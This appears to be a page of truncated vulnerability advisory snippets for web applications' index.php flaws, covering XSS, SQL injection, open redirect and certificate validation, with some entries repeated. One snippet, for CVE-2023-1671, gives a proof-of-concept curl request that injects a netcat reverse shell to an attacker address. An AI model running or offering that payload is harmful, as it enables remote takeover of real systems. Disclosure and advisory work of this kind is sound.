CVE-2025-63589

CVE-2025-63589 Reflected XSS in CMSimpleXH index.php path handling Discovered: October 6, 2025 Products: CMSimpleXH open-source flat-file CMS Affected versions: 1.8 CVEs: CVE-2025-63589 Authentication required: None unauthenticated Attack type: Reflected Cross-Site Scripting XSS Estimated CVSS...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 openSIS 8.0 SQL Injection Vulnerability https://vulners.com/cve/CVE-2021-40353 A SQL injection vulnerability exists in version 8.0 of openSIS when MySQL or MariaDB is used as the application database. An attacker can then issue the SQL command through the USERNAME...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE in Sophos Web Appliance Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header,...

CVE-2012-20004

The K-news plugin for WordPress (versions before 1.1.1 ) is vulnerable to a reflected cross-site scripting (XSS) flaw. The root cause is the failure to sanitize input provided through the 'ff' parameter in the /wp-content/plugins/knews/wysiwyg/fontpicker/index.php file. Unauthenticated attackers ...

phpmyadmin-config-set-2fa

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · phpmyadmin-config-set-2fa phpmyadmin-config-set-2fa Class: Privilege leftover / missing step-up Reach: Remote phpMyAdmin 5.2.3 RELEASE523 / 962857e - phpMyAdmin POST index.php?route=/config/set writes any allowlisted...

joomla-menu-items-api

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · joomla-menu-items-api joomla-menu-items-api Class: Privilege leftover Reach: Remote Joomla CMS 6.1.3 0f2d4de - Open Source Matters The administrator UI for menu items checks commenus.menu.id and refuses menutype ==...

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - HTML Injection vulnerability in the Online event booking and reservation system version 2.3.0. Technical description: A HTML injection vulnerability exists in the Online Event Booking and Reservation System version 2.3.0. An attacker can leverage this vulnerability...

CVE-2021-39377

OPENSIS 8.0 SQL INJECTION VULNERABILITY CVE-2021-39377 A SQL Injection vulnerability exists in version 8.0 of openSIS when MySQL MariaDB is being used as the application database. A malicious attacker can issue SQL commands to the Mysql MariaDB database through the vulnerable username= parameter...

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

CVE-2024-35468

CVE-2024-35468 Submitter: Kha Do Human Resource Management System 1.0 Vulnerability SQL injection Description SQL injection vulnerability in /hrm/index.php in SourceCodester Human Resource Management System 1.0 allow attackers to execute arbitrary SQL commands via the password parameters. Affecte...

CVE-2021-39408

CVE-2021-39408 A reflected Cross Site Scripting XSS vulnerability exists in multiple version 1.0 of the Online Student Rate System application that allows for arbitrary execution of JavaScript commands. Vulnerable Page On index.php, the page parameter is vulnerable, allowing an attacker to includ...

CVE-2026-107082

Slims Senayan Library Management Systems 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opachide and promoted GET parameters of admin/modules/bibliography/index.php, because escapestring is applied but the values are concatenated into an unquoted numeric SQL...

CVE-2026-112106

A security vulnerability has been detected in TufayelLUS TikTok-Video-Downloader-PHP up to c4230497bb23dd9c1f81456fe8a982d951feac0d. Affected by this issue is some unknown functionality of the file index.php of the component TLS Handler. Such manipulation leads to improper certificate validation...

CVE-2026-112106 TufayelLUS TikTok-Video-Downloader-PHP TLS index.php certificate validation

A security vulnerability has been detected in TufayelLUS TikTok-Video-Downloader-PHP up to c4230497bb23dd9c1f81456fe8a982d951feac0d. Affected by this issue is some unknown functionality of the file index.php of the component TLS Handler. Such manipulation leads to improper certificate validation...

CVE-2026-112106

A security vulnerability exists in TufayelLUS TikTok-Video-Downloader-PHP affecting the TLS Handler component within the index.php file. The flaw leads to improper certificate validation , which could potentially be exploited remotely. While the attack requires a high level of complexity and is c...

CVE-2026-112106 TufayelLUS TikTok-Video-Downloader-PHP TLS index.php certificate validation

A security vulnerability has been detected in TufayelLUS TikTok-Video-Downloader-PHP up to c4230497bb23dd9c1f81456fe8a982d951feac0d. Affected by this issue is some unknown functionality of the file index.php of the component TLS Handler. Such manipulation leads to improper certificate validation...

EUVD-2026-104207

A security vulnerability has been detected in TufayelLUS TikTok-Video-Downloader-PHP up to c4230497bb23dd9c1f81456fe8a982d951feac0d. Affected by this issue is some unknown functionality of the file index.php of the component TLS Handler. Such manipulation leads to improper certificate validation...

CVE-2024-48589

phpAbook 9.0i - Cross-Site Scripting XSS Vulnerability CVE-2024-48589 Summary: A Cross-Site Scripting XSS vulnerability was discovered in the rol parameter of index.php or the path section in the phpAbook application. This vulnerability allows an attacker to inject arbitrary JavaScript code into ...

CVE-2025-55885

CVE-2025-55885 Description SQL Injection vulnerability in Alpes Recherche et Developpement ARD GEC en Ligne before v.2025-04-23 allows a remote attacker to escalate privileges via the GET parameters in index.php Attack Vectors SQL injection via unsanitized GET parameter ocid on...